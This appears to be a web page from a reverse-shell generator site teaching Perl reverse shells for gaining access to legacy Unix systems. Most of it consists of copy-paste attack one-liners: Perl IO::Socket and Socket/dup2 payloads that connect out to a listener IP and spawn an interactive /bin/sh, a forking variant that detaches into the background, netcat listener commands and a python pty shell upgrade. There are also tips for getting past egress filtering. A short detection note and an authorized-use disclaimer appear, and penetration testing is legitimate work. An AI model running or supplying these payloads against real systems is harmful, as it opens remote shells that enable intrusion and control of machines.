Perl Reverse Shell: The One-Liner That Works on Ancient Boxes
How the perl reverse shell works with the Socket module, the classic one-liner, and why Perl is the fallback on legacy Unix systems.
Copy-paste one-liners
Open the generatorReady to run against an authorized target. Replace 10.10.14.3 and 443 with your listener IP and port, or use the per-payload link to pre-fill the generator.
Perl socket
Cross-platformperl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.14.3:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system("/bin/sh -i");'Perl reverse shell using Socket from the standard library.
Listener: rlwrap -cAr nc -lvnp 443
Perl dup2
Cross-platformperl -e 'use Socket;$i="10.10.14.3";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'Perl reverse shell using Socket and duplicated stdio handles.
Listener: rlwrap -cAr nc -lvnp 443
Upgrade to a full TTY
python3 -c 'import pty; pty.spawn("/bin/bash")' || python -c 'import pty; pty.spawn("/bin/bash")'Then background with Ctrl-Z, run stty raw -echo; fg, and see the full TTY upgrade guide.
Detection: these one-liners are loud — outbound TCP from an interpreter, a spawned shell with a socket on its stdio, and odd parent/child process chains. See detecting reverse shells in logs.
Perl is the survivor's interpreter. Long after a minimal container drops python and a hardened box loses nc -e, an old Unix system, a network appliance, or a legacy CGI host still has Perl. That is exactly when the perl reverse shell earns its place in your notes.
The Classic One-Liner
perl -e 'use Socket;$i="10.0.0.1";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Step by step:
use Socketpulls in the networking constants and helpers.socket(S,...)creates a TCP socket;connect(S, sockaddr_in($p, inet_aton($i)))dials your listener at$i:$p.open(STDIN,">&S"),open(STDOUT,">&S"),open(STDERR,">&S")point the three standard streams at the socketS.exec("/bin/sh -i")replaces Perl with an interactive shell wired to that socket.
Catch it with nc -lvnp 443. It is verbose because Perl makes you build the socket explicitly, but it depends only on the core Socket module, which is always present.
A Shorter IO::Socket Variant
If IO::Socket::INET is available, the payload shrinks and can fork to the background:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
The fork detaches it, which is handy when you are running it through a context that would otherwise block.
When It Won't Connect
- No Perl — rare on traditional Unix, but check
which perl. Fall back to bash or netcat. - Quoting — the
-escript is single-quoted; nested single quotes break it. See payload quoting. - Egress filtered — prefer
443/80; test per egress filtering. - Listener mismatch — see choosing a listener.
Full triage: why reverse shells fail.
Generate It
The reverse shell generator produces the perl one-liner with your LHOST/LPORT set and the matching listener attached — useful precisely when you have landed on a legacy box and want the syntax right the first time.
Authorized Testing Only
Use perl reverse shells only against systems you own or are explicitly authorized to test. The technique is identical regardless of intent; authorization is what makes it legitimate.